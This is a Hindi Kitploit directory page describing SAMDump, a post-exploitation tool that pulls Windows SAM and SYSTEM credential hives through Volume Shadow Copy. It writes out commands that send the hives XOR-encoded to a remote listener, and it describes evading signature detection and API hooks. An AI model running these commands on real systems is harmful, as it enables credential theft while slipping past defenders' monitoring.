Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
SAMDump — SAM और SYSTEM hives को Volume Shadow Copy (VSS) API का उपयोग करके निकालें। एक्सफिल्ट्रेशन और XOR ऑब्फस्केशन विकल्पों के साथ। C#, C++, Crystal और Python में कार्यान्वित। | Kitploit
उपकरण/GitHubGitHub/ricardojoserf/samdump
विशेषाधिकार वृद्धिएन्क्रिप्शन/डिक्रिप्शन उपकरणडेटा निष्कासनपोस्ट-शोषणउपयोगिताएँ और फ्रेमवर्करेड टीमिंग
GitHubricardojoserf/samdump

SAMDump

SAM और SYSTEM hives को Volume Shadow Copy (VSS) API का उपयोग करके निकालें। एक्सफिल्ट्रेशन और XOR ऑब्फस्केशन विकल्पों के साथ। C#, C++, Crystal और Python में कार्यान्वित।

रिपॉजिटरी देखें
372463 दिन पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

SAMDump

वॉल्यूम शैडो कॉपी सेवा (VSS) का उपयोग करके Windows SAM और SYSTEM फ़ाइलों को निकालता है, जिसमें कई एक्सफ़िल्ट्रेशन विकल्प और XOR ऑब्सफ़स्केशन शामिल हैं:

  • VSS का उपयोग करके वॉल्यूम शैडो कॉपीज़ की सूची बनाता है और यदि आवश्यक हो तो एक बनाता है
  • शैडो कॉपी से SAM और SYSTEM फ़ाइलें निकालता है
  • फ़ाइल संचालन के लिए NT API कॉल का उपयोग करता है (NtCreateFile, NtReadFile, NtWriteFile)
  • ऑब्सफ़स्केशन के लिए XOR एन्कोडिंग का समर्थन करता है
  • एक्सफ़िल्ट्रेशन विधियाँ: स्थानीय सहेजें या नेटवर्क स्थानांतरण

यह C++, C#, Crystal और Python में कार्यान्वित किया गया है, और यह आधुनिक Windows संस्करणों पर काम करता है।

इसके लिए उच्च अधिकारों की आवश्यकता होती है, और यदि शैडो कॉपी बनाई जाती है, तो यह लगभग 5 मिनट के बाद स्वचालित रूप से हटा दी जाती है।


उपयोग

root@kitploit:~
SAMDump.exe [OPTIONS]

Options:
  --save-local [BOOL]    Save locally (default: false)
  --output-dir DIR       Output directory (default: C:\Windows\tasks)
  --send-remote [BOOL]   Send remotely (default: false)
  --host IP              Host for remote sending (default: 127.0.0.1)
  --port PORT            Port for remote sending (default: 7777)
  --xor-encode [BOOL]    XOR Encode (default: false)
  --xor-key KEY          Enable XOR with specified key (default: SAMDump2025)
  --disk DISK            Disk for shadow copy (default: C:\)
  --help                 Show this help

स्थानीय रूप से बिना एन्कोडिंग के सहेजें:

root@kitploit:~
SAMDump.exe --save-local --output-dir "C:\temp"

img1

XOR एन्कोडिंग के साथ स्थानीय रूप से सहेजें:

root@kitploit:~
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

img2

XOR एन्कोडिंग और डिफ़ॉल्ट कुंजी के साथ दूरस्थ सर्वर पर भेजें:

root@kitploit:~
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

img3


फ़ाइलें प्राप्त करने के लिए सर्वर

server.py एक Python सर्वर है जो नेटवर्क पर फ़ाइलें प्राप्त करता है, स्वचालित XOR डिकोडिंग और फ़ाइलनाम स्वरूपण के साथ:

root@kitploit:~
python server.py [OPTIONS]

Options:
  --host HOST     IP address to listen on (default: 0.0.0.0)
  --port PORT     Port to listen on (default: 7777)
  --xor-key KEY   Key for XOR decoding (optional)

विशिष्ट इंटरफ़ेस और पोर्ट पर लिसनर XOR कुंजी के साथ:

root@kitploit:~
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

img4

फ़ाइलनाम में IP पता और तारीख होती है, इसलिए आप विभिन्न सिस्टम से फ़ाइलें भेज सकते हैं, जिससे प्रक्रिया स्वचालित हो जाती है।


फ़ाइलों को डिकोड करने की स्क्रिप्ट

xor-decoder.py एक Python स्क्रिप्ट है जो स्थानीय रूप से XOR-एन्कोडेड SAM और SYSTEM फ़ाइलों को डिकोड करती है:

root@kitploit:~
python xor-decoder.py [OPTIONS]

Options:
  --sam SAM         Path to encoded SAM file (required)
  --system SYSTEM   Path to encoded SYSTEM file (required)
  --xor-key KEY     XOR key for decoding (default: SAMDump2025)
  --output-dir DIR  Output directory for decoded files (default: ./decoded)

डिफ़ॉल्ट कुंजी से डिकोड करें:

root@kitploit:~
python xor-decoder.py --sam sam.txt --system system.txt

img5

कस्टम कुंजी और आउटपुट निर्देशिका के साथ डिकोड करें:

root@kitploit:~
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

img6


कार्यान्वयन

परियोजना में तीन भाषाओं में कार्यान्वित संस्करण शामिल हैं:

  • C++: प्रारंभिक कार्यान्वयन
  • C#: बेहतर पोर्टेबिलिटी के लिए .NET संस्करण
  • Python: इसे स्थापित करने के लिए comtypes लाइब्रेरी की आवश्यकता है (pip install comtypes)

प्रेरणा

मैं इस प्रक्रिया को स्वचालित करना चाहता था और अधिकांश Windows जो मुझे मिलते हैं, उनमें VSS चलता है, लेकिन सुरक्षा समाधान शैडो कॉपीज़ बनाने और इन फ़ाइलों को निकालने के लिए vssadmin के उपयोग का पता लगाते हैं क्योंकि यह एक जानी-मानी तकनीक है।

यह टूल दूरस्थ स्थानांतरण मोड का उपयोग करते समय लक्ष्य फ़ाइल सिस्टम पर लिखे बिना फ़ाइलें निकालता है; और XOR-एन्कोडिंग सिग्नेचर-आधारित पहचान से बचने के लिए बुनियादी ऑब्सफ़स्केशन प्रदान करता है (दूरस्थ मोड का उपयोग करते समय भी)।

साथ ही, यह कुछ मॉनिटरिंग और उपयोगकर्ता-मोड API हुक्स को बायपास करने के लिए NT API कॉल्स का लाभ उठाता है।


NT API एकीकरण

यह टूल मानक Windows API फ़ंक्शन के बजाय NT सिस्टम कॉल्स का उपयोग करता है, जो सामान्यतः निगरानी किए जाने वाले कुछ उपयोगकर्ता-मोड API हुक्स को बायपास कर सकता है:

  • NtCreateFile और NtReadFile: शैडो कॉपी में SAM और SYSTEM फ़ाइलों के बाइट्स पढ़ने के लिए हैंडल खोलने के लिए उपयोग किया जाता है

  • NtWriteFile: फ़ाइलों को स्थानीय रूप से सहेजने के लिए उपयोग किया जाता है


आभार

@vx-underground को धन्यवाद, जिन्होंने एक्सपोर्ट एड्रेस टेबल (EAT) ट्रैवर्सल कोड में अनावश्यक NtReadVirtualMemory कॉल्स को प्रत्यक्ष पॉइंटर एक्सेस से बदलने के लिए अनुकूलन की पहचान और सुझाव दिया।

टूल डाउनलोड करें